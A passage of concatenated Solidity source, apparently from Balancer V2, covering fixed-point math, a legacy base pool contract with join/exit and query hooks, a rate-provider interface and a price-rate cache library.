(tokens.length == 0) { sorted[0] = token; return sorted; } uint256 i; for (i = tokens.length; i > 0 && tokens[i - 1] > token; i--) sorted[i] = tokens[i - 1]; for (uint256 j = 0; j < i; j++) sorted[j] = tokens[j]; sorted[i] = token; } function _getSortedTokenIndexes( IERC20 tokenA, IERC20 tokenB, IERC20 tokenC ) pure returns ( uint256 indexTokenA, uint256 indexTokenB, uint256 indexTokenC ) { if (tokenA < tokenB) { if (tokenB < tokenC) { // (tokenA, tokenB, tokenC) return (0, 1, 2); } else if (tokenA < tokenC) { // (tokenA, tokenC, tokenB) return (0, 2, 1); } else { // (tokenC, tokenA, tokenB) return (1, 2, 0); } } else { // tokenB < tokenA if (tokenC < tokenB) { // (tokenC, tokenB, tokenA) return (2, 1, 0); } else if (tokenC < tokenA) { // (tokenB, tokenC, tokenA) return (2, 0, 1); } else { // (tokenB, tokenA, tokenC) return (1, 0, 2); } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./LogExpMath.sol"; import "../helpers/BalancerErrors.sol"; /* solhint-disable private-vars-leading-underscore */ library FixedPoint { uint256 internal constant ONE = 1e18; // 18 decimal places uint256 internal constant TWO = 2 * ONE; uint256 internal constant FOUR = 4 * ONE; uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14) // Minimum base for the power function when the exponent is 'free' (larger than ONE). uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18; function add(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } function mulDown(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); return product / ONE; } function mulUp(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow return aInflated / b; } } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((aInflated - 1) / b) + 1; } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above * the true value (that is, the error function expected - actual is always positive). */ function powDown(uint256 x, uint256 y) internal pure returns (uint256) { // Optimize for when y equals 1.0, 2.0 or 4.0, as those are very simple to implement and occur often in 50/50 // and 80/20 Weighted Pools if (y == ONE) { return x; } else if (y == TWO) { return mulDown(x, x); } else if (y == FOUR) { uint256 square = mulDown(x, x); return mulDown(square, square); } else { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); if (raw < maxError) { return 0; } else { return sub(raw, maxError); } } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below * the true value (that is, the error function expected - actual is always negative). */ function powUp(uint256 x, uint256 y) internal pure returns (uint256) { // Optimize for when y equals 1.0, 2.0 or 4.0, as those are very simple to implement and occur often in 50/50 // and 80/20 Weighted Pools if (y == ONE) { return x; } else if (y == TWO) { return mulUp(x, x); } else if (y == FOUR) { uint256 square = mulUp(x, x); return mulUp(square, square); } else { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); return add(raw, maxError); } } /** * @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1. * * Useful when computing the complement for values with some level of relative error, as it strips this error and * prevents intermediate negative values. */ function complement(uint256 x) internal pure returns (uint256) { return (x < ONE) ? (ONE - x) : 0; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/TemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol"; import "@balancer-labs/v2-asset-manager-utils/contracts/IAssetManager.sol"; import "./BalancerPoolToken.sol"; import "./BasePoolAuthorization.sol"; // solhint-disable max-states-count /** * @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with optional * Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism. * * Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that * derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the * `whenNotPaused` modifier. * * No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer. * * Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from * BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces * and implement the swap callbacks themselves. */ abstract contract LegacyBasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable { using WordCodec for bytes32; using FixedPoint for uint256; uint256 private constant _MIN_TOKENS = 2; uint256 private constant _DEFAULT_MINIMUM_BPT = 1e6; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% - this fits in 64 bits // Storage slot that can be used to store unrelated pieces of information. In particular, by default is used // to store only the swap fee percentage of a pool. But it can be extended to store some more pieces of information. // The swap fee percentage is stored in the most-significant 64 bits, therefore the remaining 192 bits can be // used to store any other piece of information. bytes32 private _miscData; uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 192; bytes32 private immutable _poolId; event SwapFeePercentageChanged(uint256 swapFeePercentage); constructor( IVault vault, IVault.PoolSpecialization specialization, string memory name, string memory symbol, IERC20[] memory tokens, address[] memory assetManagers, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(name, symbol, vault) BasePoolAuthorization(owner) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) { _require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS); _require(tokens.length <= _getMaxTokens(), Errors.MAX_TOKENS); // The Vault only requires the token list to be ordered for the Two Token Pools specialization. However, // to make the developer experience consistent, we are requiring this condition for all the native pools. // Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same // order. We rely on this property to make Pools simpler to write, as it lets us assume that the // order of token-specific parameters (such as token weights) will not change. InputHelpers.ensureArrayIsSorted(tokens); _setSwapFeePercentage(swapFeePercentage); bytes32 poolId = vault.registerPool(specialization); vault.registerTokens(poolId, tokens, assetManagers); // Set immutable state variables - these cannot be read from during construction _poolId = poolId; } // Getters / Setters function getPoolId() public view override returns (bytes32) { return _poolId; } function _getTotalTokens() internal view virtual returns (uint256); function _getMaxTokens() internal pure virtual returns (uint256); /** * @dev Returns the minimum BPT supply. This amount is minted to the zero address during initialization, effectively * locking it. * * This is useful to make sure Pool initialization happens only once, but derived Pools can change this value (even * to zero) by overriding this function. */ function _getMinimumBpt() internal pure virtual returns (uint256) { return _DEFAULT_MINIMUM_BPT; } function getSwapFeePercentage() public view returns (uint256) { return _miscData.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET); } function setSwapFeePercentage(uint256 swapFeePercentage) public virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _miscData = _miscData.insertUint64(swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET); emit SwapFeePercentageChanged(swapFeePercentage); } function setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) public virtual authenticate whenNotPaused { _setAssetManagerPoolConfig(token, poolConfig); } function _setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) private { bytes32 poolId = getPoolId(); (, , , address assetManager) = getVault().getPoolTokenInfo(poolId, token); IAssetManager(assetManager).setConfig(poolId, poolConfig); } function setPaused(bool paused) external authenticate { _setPaused(paused); } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) { return (actionId == getActionId(this.setSwapFeePercentage.selector)) || (actionId == getActionId(this.setAssetManagerPoolConfig.selector)); } function _getMiscData() internal view returns (bytes32) { return _miscData; } /** * Inserts data into the least-significant 192 bits of the misc data storage slot. * Note that the remaining 64 bits are used for the swap fee percentage and cannot be overloaded. */ function _setMiscData(bytes32 newData) internal { _miscData = _miscData.insertBits192(newData, 0); } // Join / Exit Hooks modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); if (totalSupply() == 0) { (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool( poolId, sender, recipient, scalingFactors, userData ); // On initialization, we lock _getMinimumBpt() by minting it for the zero address. This BPT acts as a // minimum as it will never be burned, which reduces potential issues with rounding, and also prevents the // Pool from ever being fully drained. _require(bptAmountOut >= _getMinimumBpt(), Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _getMinimumBpt()); _mintPoolTokens(recipient, bptAmountOut - _getMinimumBpt()); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); return (amountsIn, new uint256[](_getTotalTokens())); } else { _upscaleArray(balances, scalingFactors); (uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsIn, dueProtocolFeeAmounts); } } function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut, scalingFactors); _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsOut, dueProtocolFeeAmounts); } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are // upscaled. /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _getMinimumBpt(), which will be deducted from this amount and * sent to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP * from ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire * Pool's lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32 poolId, address sender, address recipient, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn); /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns ( uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts ); /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ); // Internal functions /** * @dev Adds swap fee amount to `amount`, returning a higher value. */ function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount + fee amount, so we round up (favoring a higher fee amount). return amount.divUp(FixedPoint.ONE.sub(getSwapFeePercentage())); } /** * @dev Subtracts swap fee amount from `amount`, returning a lower value. */ function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = amount.mulUp(getSwapFeePercentage()); return amount.sub(feeAmount); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) internal view returns (uint256) { if (address(token) == address(this)) { return FixedPoint.ONE; } // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return FixedPoint.ONE * 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. * * All scaling factors are fixed-point values with 18 decimals, to allow for this function to be overridden by * derived contracts that need to apply further scaling, making these factors potentially non-integer. * * The largest 'base' scaling factor (i.e. in tokens with less than 18 decimals) is 10**18, which in fixed-point is * 10**36. This value can be multiplied with a 112 bit Vault balance with no overflow by a factor of ~1e7, making * even relatively 'large' factors safe to use. * * The 1e7 figure is the result of 2**256 / (1e18 * 1e18 * 2**112). */ function _scalingFactor(IERC20 token) internal view virtual returns (uint256); /** * @dev Same as `_scalingFactor()`, except for all registered tokens (in the same order as registered). The Vault * will always pass balances in this order when calling any of the Pool hooks. */ function _scalingFactors() internal view virtual returns (uint256[] memory); function getScalingFactors() external view returns (uint256[] memory) { return _scalingFactors(); } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { // Upscale rounding wouldn't necessarily always go in the same direction: in a swap for example the balance of // token in should be rounded up, and that of token out rounded down. This is the only place where we round in // the same direction for all amounts, as the impact of this rounding is expected to be minimal (and there's no // rounding error unless `_scalingFactor()` is overriden). return FixedPoint.mulDown(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates* * the `amounts` array. */ function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.mulDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return FixedPoint.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.divDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return FixedPoint.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.divUp(amounts[i], scalingFactors[i]); } } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory, uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); _downscaleArray(tokenAmounts, scalingFactors); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array 's length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IRateProvider { /** * @dev Returns an 18 decimal fixed point number that is the exchange rate of the token to some other underlying * token. The meaning of this rate depends on the context. */ function getRate() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BalancerErrors.sol"; /** * Price rate caches are used to avoid querying the price rate for a token every time we need to work with it. It is * useful for slow changing rates, such as those that arise from interest-bearing tokens (e.g. waDAI into DAI). * * The cache data is packed into a single bytes32 value with the following structure: * [ expires | duration | price rate value ] * [ uint64 | uint64 | uint128 ] * [ MSB LSB ] * * * 'rate' is an 18 decimal fixed point number, supporting rates of up to ~3e20. 'expires' is a Unix timestamp, and * 'duration' is expressed in seconds. */ library PriceRateCache { using WordCodec for bytes32; uint256 private constant _PRICE_RATE_CACHE_VALUE_OFFSET = 0; uint256 private constant _PRICE_RATE_CACHE_DURATION_OFFSET = 128; uint256 private constant _PRICE_RATE_CACHE_EXPIRES_OFFSET = 128 + 64; /** * @dev Returns the rate of a price rate cache. */ function getRate(bytes32 cache) internal pure returns (uint256) { return cache.decodeUint128(_PRICE_RATE_CACHE_VALUE_OFFSET); } /** * @dev Returns the duration of a price rate cache. */ function getDuration(bytes32 cache) internal pure returns (uint256) { return cache.decodeUint64(_PRICE_RATE_CACHE_DURATION_OFFSET); } /** * @dev Returns the duration and expiration time of a price rate cache. */ function getTimestamps(bytes32 cache) internal pure returns (uint256 duration, uint256 expires) { duration = getDuration(cache); expires = cache.decodeUint64(_PRICE_RATE_CACHE_EXPIRES_OFFSET); } /** * @dev Encodes rate and duration into a price rate cache. The expiration time is computed automatically, counting * from the current time. */ function encode(uint256 rate, uint256 duration) internal view returns (bytes32) { _require(rate < 2**128, Errors.PRICE_RATE_OVERFLOW); // solhint-disable not-rely-on-time return WordCodec.encodeUint(uint128(rate), _PRICE_RATE_CACHE_VALUE_OFFSET) | WordCodec.encodeUint(uint64(duration), _PRICE_RATE_CACHE_DURATION_OFFSET) | WordCodec.encodeUint(uint64(block.timestamp + duration), _PRICE_RATE_CACHE_EXPIRES_OFFSET); } /** * @dev Returns rate, duration and expiration time of a price rate cache. */ function decode(bytes32 cache) internal pure returns ( uint256 rate, uint256 duration, uint256 expires ) { rate = getRate(cache); (duration, expires) = getTimestamps(cache); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IBasePool.sol"; /** * @dev IPools with the General specialization setting should implement this interface. * * This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool. * Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will * grant to the pool in a 'given out' swap. * * This can often be implemented by a `view` function, since many pricing algorithms don't need to track state * changes in swaps. However, 